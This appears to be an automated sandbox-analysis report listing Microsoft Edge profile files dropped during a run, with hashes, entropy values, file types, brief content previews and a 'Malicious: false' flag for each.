Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377206943247809","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\2dc66dbc-f74b-436f-83fa-f5cc79a7ee3f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38627
Entropy (8bit):	5.5549301295007245
Encrypted:	false
SSDEEP:	768:azWJg27pLGLPCAWPp9fe68F1+UoAYDCx9Tuqh0VfUC9xbog/OVv9wT5rwxys2bm6:azWJgWcPCAWPp9fe6u1jaCuTKUs2bj42
MD5:	EF28AAE383BD21849FBD19438D70BE7A
SHA1:	5E250EF640BD8902B5791FC3C120FAB17DE9FF12
SHA-256:	B1E4B124FBA4D63D5FC4EAD892299BECE1C5DA1386A8647DEE1B05175AA60E1E
SHA-512:	3BC738E43A41565DC794C49C8D5315BF5C644ADF80B2507BC00B6C9BE76B38C1E051708BBF20E1966593F3017B842CC9D4A0D0668BF5DD769118E97BD641C100
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377206942665637","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377206942665637","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\30ac507f-63ff-42dd-8e64-ffdfc81f4dc9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.111145226574878
Encrypted:	false
SSDEEP:	192:st1kdpZsPJCNyaNP9kkdF8wbV+F37QAUwPjYJ:st1QZsgNtJ7bGLQ7
MD5:	E2D2C3BF998871B1D496FCDD638B6179
SHA1:	9589B1F8721053D250714DECD05D9B2555A5E237
SHA-256:	15D476D1312330F9B32239FD5937B724E7FA64ACB1C1389A002E0AB9E2325DBC
SHA-512:	3AFBE672C4D1CBFE5E15145A6870FE2716F43AFD5C13BD7CF98AB876C0CBC3041676D48D77F90F416FFDA86DFDA4F12D92285A04277C2DE0F7E838D1C5A6D365
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377206943247809","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7339863d-0492-49d7-81aa-e28af8aa7e47.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\81ca5154-ec4a-4ac7-bd3b-a0943ba0d5c7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17397), with no line terminators
Category:	dropped
Size (bytes):	17400
Entropy (8bit):	5.4880105641054655
Encrypted:	false
SSDEEP:	192:st1J99QTryDigabatSuypZsPJCNyaNPwnuQkCNsQmmKRTavPcgKQBF8wbV+F37Q+:st1PGKSu4ZsgNtJwuDxQvPRFbGLQwAo
MD5:	7C639CE0A4AE4E7AE991FC730BE6DA9F
SHA1:	0AD070441051113BFE4E4A811C95509551E97D15
SHA-256:	5A13B6139E4EB6C6974255ED9D917BF96F29AE2C0B605AD3E4E756EDC2E21117
SHA-512:	F1BC7A9E71770CE13AB8FA9B15DE4CFE126F794AF76DB806C1DEAD13E7E66CAB39B1915927E07C48CA53F1C90E900B9219B2140400E7E3A50D6555D0DC6C402E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377206943247809","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.2707941583100935
Encrypted:	false
SSDEEP:	6:HC/o1cNwi23oH+Tcwtp3hBtB2KLlVC/ASM+q2PcNwi23oH+Tcwtp3hBWsIFUv:FZYebp3dFLl/+vLZYebp3eFUv
MD5:	E6DE5E3A05FA40FB0C485E5997FCAE3B
SHA1:	FD36C2E234526194E0CE72D7A96F63485528F657
SHA-256:	5EC073E89DAFA4E1453839A4A746C3A2FC6BDD391FD763260C7912F2472D2BA9
SHA-512:	540CBA434ADBD0B7F81E1844B4F1BC610681AAE9B34B73CF8B789FCE913110D586C42527DA68FBA0FF0CD4A3AB4AA60328468CB504B06E01CF1C2DC6FF409F03
Malicious:	false
Preview:	2024/11/27-13:49:09.088 221c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/27-13:49:09.259 221c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	1696115
Entropy (8bit):	5.040616432526193
Encrypted:	false
SSDEEP:	24576:kFf76gGkISshcFdmcOAoPENUpifYP+MbI2T:kFfgAmmE
MD5:	228DCB21F010A19111A594813BE4ECC8
SHA1:	1BC178EA6D7F3B10C43354ED48E856FAA5E50669
SHA-256:	AF0B336173B4BCFA40CBB4C4FB5356018A979A94A93D10CCE72046C4E7F024AF
SHA-512:	42F4C4625B87B8A472C6E0B7D722D3B733B98E04ABEC1D29946F907D97522758F035532B10AAA1CB08FB5EC7A11498393342E6A4C0CC2298FF85BB0FF91085F4
Malicious:	false
Preview:	...m.................DB_VERSION.1.....................QUERY_TIMESTAMP:arbitration_priority_list4...13340965219355520.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.121322517686071
Encrypted:	false
SSDEEP:	6:HC/fMq2PcNwi23oH+Tcwt9Eh1tIFUt8YC/f0Zmw+YC/hFUkwOcNwi23oH+Tcwt9O:IMvLZYeb9Eh16FUt8C/+7S54ZYeb9Ehx
MD5:	655FEB6F820B6501D1C776BBFB0CD8F9
SHA1:	FDBFD09A1DBAA884E6587CD4D2282C9232264AAD
SHA-256:	4951652F758A463A3C091D8A5BDDEE0B1F377AB81B32A042E2622E896BF4D7ED
SHA-512:	49E600487417D4B03571E7D53C78544A4CA6CA1F4BB33F38BBF574FF02D1B4F5D511BA2467DAC4E50D562F784ADFB14537F20C188C47E6AECB6CE2E28A7F87F4
Malicious:	false
Preview:	2024/11/27-13:49:09.006 22a4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/27-13:49:09.009 22a4 Recovering log #3.2024/11/27-13:49:09.034 22a4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.121322517686071
Encrypted:	false
SSDEEP:	6:HC/fMq2PcNwi23oH+Tcwt9Eh1tIFUt8YC/f0Zmw+YC/hFUkwOcNwi23oH+Tcwt9O:IMvLZYeb9Eh16FUt8C/+7S54ZYeb9Ehx
MD5:	655FEB6F820B6501D1C776BBFB0CD8F9
SHA1:	FDBFD09A1DBAA884E6587CD4D2282C9232264AAD
SHA-256:	4951652F758A463A3C091D8A5BDDEE0B1F377AB81B32A042E2622E896BF4D7ED
SHA-512:	49E600487417D4B03571E7D53C78544A4CA6CA1F4BB33F38BBF574FF02D1B4F5D511BA2467DAC4E50D562F784ADFB14537F20C188C47E6AECB6CE2E28A7F87F4
Malicious:	false
Preview:	2024/11/27-13:49:09.006 22a4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/27-13:49:09.009 22a4 Recovering log #3.2024/11/27-13:49:09.034 22a4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46271221246179056
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBu5geJ2:TouQq3qh7z3bY2LNW9WMcUvBuCeJ2
MD5:	50A4A4DB704D1D89646F89BC1C9FACDB
SHA1:	49F20D0499A86179B698859165FA271025382F9D
SHA-256:	FF8F5A362197290A0ED2CA6F913E5CD3C2C70079E63CE2286FE3F1434501831F
SHA-512:	17BA3FF2DC3ECBBC4E121D99DD3711845A1BAFA54E919DCE2FC3CC62CE8C2470E8598016444FA80D963024B5E969B5B255E5EEB55BE52D8900307E4031C56B2E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	354
Entropy (8bit):	5.222195003114498
Encrypted:	false
SSDEEP:	6:HC/1pyFdOq2PcNwi23oH+TcwtnG2tMsIFUt8YC/1pThZmw+YC/1pwFUU7kwOcNwL:CcWvLZYebn9GFUt8zX/+zaT54ZYebn9b
MD5:	60D8740CBD2C35D7CABB3B1C435AF165
SHA1:	C01C8CBBC09A1CECC3BD27E518710A7B91433AD1
SHA-256:	2E7F77B184FF5483EBE3CED58A32377CAC6C557A498E3421308098E054854E7E
SHA-512:	B537887D4D81BEF202A265CB40C8C30D892DC459473EF69F0476D6129ACFF53FEF02DA5F025D94B30AEFD8B69E008E3BED1E4A7C484D5ACA6D70A62AD05B98C1
Malicious:	false
Preview:	2024/11/27-13:49:02.841 1830 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/27-13:49:02.842 1830 Recovering log #3.2024/11/27-13:49:02.843 1830 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	354
Entropy (8bit):	5.222195003114498
Encrypted:	false
SSDEEP:	6:HC/1pyFdOq2PcNwi23oH+TcwtnG2tMsIFUt8YC/1pThZmw+YC/1pwFUU7kwOcNwL:CcWvLZYebn9GFUt8zX/+zaT54ZYebn9b
MD5:	60D8740CBD2C35D7CABB3B1C435AF165
SHA1:	C01C8CBBC09A1CECC3BD27E518710A7B91433AD1
SHA-256:	2E7F77B184FF5483EBE3CED58A32377CAC6C557A498E3421308098E054854E7E
SHA-512:	B537887D4D81BEF202A265CB40C8C30D892DC459473EF69F0476D6129ACFF53FEF02DA5F025D94B30AEFD8B69E008E3BED1E4A7C484D5ACA6D70A62AD05B98C1
Malicious:	false
Preview:	2024/11/27-13:49:02.841 1830 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/27-13:49:02.842 1830 Recovering log #3.2024/11/27-13:49:02.843 1830 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6132452702448481
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jjkd6UCpWW1kd5mL:TO8D4jJ/6Up+SrA4u
MD5:	B5F508D02BD25FBFCA3438F9EC5594B8
SHA1:	71EA573CB4FA7056B611D04E345F7B51234F2783
SHA-256:	1F07086CDB639D0C66DDA4153EDDF0D3FAA58F03E78D6BB38A0F770C3672ABED
SHA-512:	B8DB8DD06525AC2BFC541F536549418FE613215CA2DF8178F3AA81DB850FA5254D2EE5CFAA1EF7EC7426674BEA47F83645A4E14F693E89A57F2BD0DCE8FB3DD5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354127757522352
Encrypted:	false
SSDEEP:	6144:gA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:gFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	495D03721FD6E6C529D352717DFB664F
SHA1:	BC7EAF6265ED47CD582EE34FE7B50822E2A039AB
SHA-256:	122F1D34F3436F257ED393676634F18B93C9253C05F330762608D1D2DAF30191
SHA-512:	2FCD3A3F4B2458D0545A32D7B4CB91A6588BAFD0B2B66BDAB324EF79BB43022B02B6C9D6B040B7D81FB2CEEAC10EF47E4A12E9F81C1F4A4C50376D48E44ACE4D
Malicious:	false
Preview:	...m.................DB_VERSION.1...7q...............&QUERY_TIMESTAMP:domains_config_gz2...13377206951354292..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	317
Entropy (8bit):	5.1889943980280355
Encrypted:	false
SSDEEP:	6:HC//lDHM1cNwi23oH+Tcwtk2WwnvB2KLlVC//pgsyq2PcNwi23oH+Tcwtk2Wwnvh:c2ZYebkxwnvFL9syvLZYebkxwnQFUv
MD5:	4CB2499B761F6DDCDB7FB724130840B4
SHA1:	32EE8030AE4B2D7D834B153BD4F41FB037F3D363
SHA-256:	CD4B41A6464CE9F65644FC0A40C08CECB2AB8D5FB6ED76ED558731E61EEE2F50
SHA-512:	3F978876690304D6421862EC555DD5A12810B9385A91B0D72ED9946480A0A88BB070852448D94DFFAA709BC067F034482BD355021C655BB35DBA35034C4ACC1F
Malicious:	false
Preview:	2024/11/27-13:49:08.420 2294 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/27-13:49:08.874 2294 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

